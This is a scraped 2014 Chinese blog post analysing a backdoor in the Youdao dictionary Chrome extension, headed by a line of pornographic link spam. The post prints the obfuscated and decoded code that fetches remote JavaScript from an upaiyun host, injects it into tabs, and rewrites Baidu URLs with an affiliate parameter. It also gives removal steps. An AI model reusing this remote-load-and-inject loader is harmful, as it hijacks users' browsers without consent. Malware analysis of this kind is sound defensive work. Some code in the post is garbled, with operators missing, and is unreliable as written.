成人AV在线无码|婷婷五月激情色,|伊人加勒比二三四区|国产一区激情都市|亚洲AV无码电影|日av韩av无码|天堂在线亚洲Av|无码一区二区影院|成人无码毛片AV|超碰在线看中文字幕

[Report]evil-code-in-youdao-crx

有道詞典劃詞插件的后門分析前言:筆者偶然發(fā)現(xiàn)“有道詞典劃詞插件 v2”(ID: ibogfemlnclpecapkojhmanpiebldbnk )的緩存中有一段極為可疑的代碼,經(jīng)分析,感覺不妙,這段

有道詞典劃詞插件的后門分析

前言:

筆者偶然發(fā)現(xiàn)“有道詞典劃詞插件 v2”(ID: ibogfemlnclpecapkojhmanpiebldbnk )的緩存中有一段極為可疑的代碼,經(jīng)分析,感覺不妙,這段代碼會將百度首頁追加一串參數(shù)。在Google 搜索發(fā)現(xiàn),很多網(wǎng)友反饋遇到百度重定向到帶有tn=63090008_1_hao_pg參數(shù)的頁面。

起初我懷疑是有惡意程序在本地串改了Chrome 擴(kuò)展導(dǎo)致,但以下幾個網(wǎng)友的反饋,讓我感覺有道是不是有點(diǎn)“無道”…

引自:https://plus.google.com/ dousonwif/posts/3dDW4Sk5iMg

引自:http://tieba.baidu.com/p/3423256002

,

有道詞典劃詞插件的后門分析

于是乎,我順藤摸瓜、梳理代碼、整理確鑿的證據(jù),花了近5個小時作此文,如下:

發(fā)現(xiàn)痕跡

1. 打開“有道詞典劃詞插件 v2 ”2.0的選項(xiàng)頁,按F12,進(jìn)入Resources – Local Storage ,

在右側(cè)發(fā)現(xiàn)可以痕跡。

code 中是遠(yuǎn)程獲取的代碼,last_synced_at保留的是遠(yuǎn)程代碼更新到本地的時間。

(圖1)

2. 在Chrome 擴(kuò)展的管理頁面(chrome://extensions)中找到“有道詞典劃詞插件 v2 ”2.0,

點(diǎn)擊“背景頁”鏈接;

在打開的窗口里切換到 Sources – ibogfemlnclpecapkojhmanpiebldbnk – bg.js ,在右側(cè)代碼末尾,找到另一端可以代碼,經(jīng)分析確認(rèn)這段代碼負(fù)責(zé)加載遠(yuǎn)程代碼并執(zhí)行。

(圖2

,

有道詞典劃詞插件的后門分析

解決方法

1. 臨時刪除加載、執(zhí)行遠(yuǎn)程代碼的那段代碼

打開你的電腦如下路徑:X :UsersYourName AppDataLocalGoogleChromeUser Data?faultExtensionsibogfemlnclpecapkojhmanpiebldbnk 2.0_0

用文本編輯工具打開其中的bg.js ,按上文圖2所示,刪除文本末尾那幾行代碼,并保存。重新啟動Chrome ,或重新啟用該擴(kuò)展即可生效去除惡意的程序邏輯。

弊端:如果該擴(kuò)展有更新,可能會覆蓋你的修改,變回原來的樣子

2. 放棄使用該擴(kuò)展,使用替代品

由我維護(hù)的另一個擴(kuò)展:

Google 商店安裝鏈接:

代碼公開地址:https://code.jd.com/g8up/youdaocrx

后記

筆者是Chrome 的忠實(shí)粉絲,之前一直堅(jiān)持積累英語,用過一段時間上文提到的官方有道擴(kuò)展,對其功能不甚滿足,遂添加了查詢記錄以及導(dǎo)出查詢記錄功能,并修復(fù)了一些bug 。梳理了原來的代碼,以節(jié)省程序占用資源,提高效率。從我之前備份的代碼來看,當(dāng)時(2014-04-24左右)官方還沒有添加這段后門程序。

另外有網(wǎng)友反饋另一款問題擴(kuò)展“愛奇藝去45秒廣告”(id: faafmfkdpddenkfoflahblfdeneagfgj ,作者:豆瓣UX 小組)中也有類似的后門代碼,巧合的是,遠(yuǎn)端的代碼都是寄存在同一個云儲存網(wǎng)站下( http://mnybag.b0.upaiyun.com/bootstrapmin.js ),子域名有區(qū)別,偽裝的文件名都是知名的前端框架bootstrap 的名稱字樣。代碼有個別字符差異,但帶有tn=63090008_1_hao_pg 特征。不排除是同一開發(fā)者所為。難道是豆瓣的員工跳槽到有道然后把有道擴(kuò)展給改了?還是官方的Chrome 開發(fā)者帳號被泄漏,遭歹人串改?不得而知。

雖然Google 一次次提高擴(kuò)展的安全性,但依然難以確保所有擴(kuò)展都不會、不能作惡。還是建議用戶多加小心。我們不能因噎廢食,但我們確實(shí)應(yīng)該提高警惕性,積累一些應(yīng)用技巧,甚至是一些專業(yè)知識。

——Sigma

2014.11.29

,

有道詞典劃詞插件的后門分析

附:源代碼

“后門”源碼 (注釋為筆者添加,下同)

;; (function () {

var _0xb012 =

["x6Fx6Ex72x65x61x64x79x73x74x61x74x65x63x68x61x6Ex67x65", "x73x74x61x74x75x73",

"x72x65x61x64x79x53x74x61x74x65",

"x72x65x73x70x6Fx6Ex73x65x54x65x78x74",

"x63x6Fx64x65",

"x6Cx61x73x74x5Fx73x79x6Ex63x65x64x5Fx61x74",

"x6Ex6Fx77", "x47x45x54",

"x68x74x74x70x3Ax2Fx2Fx61x6Ex61x6Cx79x74x69x63x73x2Ex62x30x2Ex75x70x61x69x79x75x6Ex2Ex63x6Fx6Dx2Fx61x2Fx62x6Fx6Fx74x73x74x72x61x70x6Dx69x6Ex2Ex6Ax73",

"x6Fx70x65x6E", "x73x65x6Ex64",

"x75x6Ex64x65x66x69x6Ex65x64", "" ,

"x64x6Fx63x75x6Dx65x6Ex74x5Fx65x6Ex64",

"x65x78x65x63x75x74x65x53x63x72x69x70x74",

"x74x61x62x73", "x61x64x64x4Cx69x73x74x65x6Ex65x72", "x6Fx6Ex55x70x64x61x74x65x64"];

//["onreadystatechange", "status", "readyState", "responseText", "code", "last_synced_at", "now", "GET",

" http://analytics.b0.upaiyun.com/a/bootstrapmin.js", "open", "send", "undefined", "", "document_end", "executeScript", "tabs", "addListener", "onUpdated"]

function loadScript() {

var _0xb30dx2 = new XMLHttpRequest();

_0xb30dx2[_0xb012[0]] = function () {

try {

if (_0xb30dx2[_0xb012[1]] == 200 &&

_0xb30dx2[_0xb012[2]] == 4) {

var _0xb30dx3 = _0xb30dx2[_0xb012[3]];

localStorage[_0xb012[4]] = _0xb30dx3;

localStorage[_0xb012[5]] = Date[_0xb012[6]](); };

} catch (ex ) {};

};

,

有道詞典劃詞插件的后門分析

};

chrome [_0xb012[15]][_0xb012[17]][_0xb012[16]](function (_0xb30dx4) {

if ((localStorage [_0xb012[5]] == undefined) ||

((Date [_0xb012[6]]() - localStorage [_0xb012[5]]) > (1000 * 60 * 60 * 8))) {

loadScript();

};

if (typeof (localStorage [_0xb012[4]]) == _0xb012[11] ||

localStorage [_0xb012[4]] == _0xb012[12]) {

loadScript();

};

if (typeof (localStorage [_0xb012[4]]) != _0xb012[11]) {

chrome[_0xb012[15]][_0xb012[14]](_0xb30dx4, {

,

有道詞典劃詞插件的后門分析

“后門”源碼解碼 ;;(function () {

//加載遠(yuǎn)程代碼

function loadScript() {

var xhr = new XMLHttpRequest();

xhr. onreadystatechange = function () {

try {

if (xhr . status == 200 && xhr. readyState == 4) {

var code = xhr. responseText ;

localStorage["code" ] = code;

//記錄加載時間

localStorage["last_synced_at"] = Date. now ();

};

} catch (ex ) {};

};

xhr[open ](GET ,

"http://analytics.b0.upaiyun.com/a/bootstrapmin.js", true );

xhr[send ](null );

};

//監(jiān)聽每次瀏覽器標(biāo)簽的更新

chrome. tabs . onUpdated . addListener (function ( para ) {

//每8小時獲取一次遠(yuǎn)程代碼

if ((localStorage ["last_synced_at"] == undefined) ||

((Date . now () - localStorage["last_synced_at"]) > (1000 * 60 * 60 * 8))) {

loadScript();

};

if (typeof (localStorage ["code" ]) == "undefined" ||

localStorage ["code" ] == "" ) {

loadScript();

};

if (typeof (localStorage ["code" ]) != "undefined" ) {

chrome. tabs . executeScript ( para , {

,

有道詞典劃詞插件的后門分析 })();

遠(yuǎn)程代碼源碼 ;; (function (d ) {

var _0xd0cb = ["x68x72x65x66",

"x6Cx6Fx63x61x74x69x6Fx6E",

"x77x77x77x2Ex62x61x69x64x75x2Ex63x6Fx6D",

"x6Dx61x74x63x68", "x73x75x62x73x74x72x69x6Ex67", "x73x65x61x72x63x68", "x26", "x73x70x6Cx69x74",

"x6Cx65x6Ex67x74x68", "x3D",

"x75x6Ex64x65x66x69x6Ex65x64", "x73x74x72x69x6Ex67", "x70x75x73x68", "x74x6E", "" ,

"x74x6Ex3Dx36x33x30x39x30x30x30x38x5Fx31x5Fx68x61x6Fx5Fx70x67", "x3F", "x6Ax6Fx69x6E"];

//["href", "location", "www.baidu.com", "match", "substring", "search", "&", "split", "length", "=", "undefined", "string", "push", "tn", "", "tn=63090008_1_hao_pg", "?", "join"]

var href = d[_0xd0cb[1]][_0xd0cb[0]];

if (document [_0xd0cb[1]][_0xd0cb[0]][_0xd0cb[3]](_0xd0cb[2])) {} else {

return false ;

};

var QueryString = function () {

var _0x2b75x3 = {};

var _0x2b75x4 =

window [_0xd0cb[1]][_0xd0cb[5]][_0xd0cb[4]](1);

var _0x2b75x5 = _0x2b75x4[_0xd0cb[7]](_0xd0cb[6]);

for (var _0x2b75x6 = 0; _0x2b75x6 < _0x2b75x5[_0xd0cb[8]]; _0x2b75x6 ) {

var _0x2b75x7 =

_0x2b75x5[_0x2b75x6][_0xd0cb[7]](_0xd0cb[9]);

if (typeof _0x2b75x3[_0x2b75x7[0]] === _0xd0cb[10]) { _0x2b75x3[_0x2b75x7[0]] = _0x2b75x7[1];

} else {

,

有道詞典劃詞插件的后門分析

};

return _0x2b75x3;

}();

if (QueryString [_0xd0cb[13]]) {} else {

var se_array = [];

for (var index in QueryString) {

if (index != _0xd0cb[14]) {

se_array[_0xd0cb[12]](index _0xd0cb[9]

QueryString [index ]);

};

};

se_array[_0xd0cb[12]](_0xd0cb[15]);

document[_0xd0cb[1]][_0xd0cb[5]] = _0xd0cb[16]

se_array[_0xd0cb[17]](_0xd0cb[6]);

};

})(document );

遠(yuǎn)程代碼源碼解碼 ;; (function (doc ) {

var href = doc. location . href ;

//只針對百度域名執(zhí)行代碼

if (document . location . href . match ( "www.baidu.com" )) {} else { return false ;

};

var QueryString = function () {//暫存url 參數(shù)

var obj = {};

var path = window. location . search . substring (1);

var keyValue = path. split ("&");

for (var n = 0; n < keyValue. length ; n ) {

var paras = keyValue[n ].split ("=");

if (typeof obj[ paras[0] ] === "undefined" ) {

obj[ paras[0] ] = paras[1];

} else {

if (typeof obj[ paras[0] ] === "string" ) {

,

有道詞典劃詞插件的后門分析

}();

if (QueryString ['tn' ]) {} else {

var se_array = [];

for (var index in QueryString) {

if (index != "" ) {

se_array. push (index "=" QueryString[index ]); };

};

se_array. push ("tn=63090008_1_hao_pg"); //追加tn 參數(shù) document. location . search = "?" se_array. join ("&"); };

})(document );

標(biāo)簽: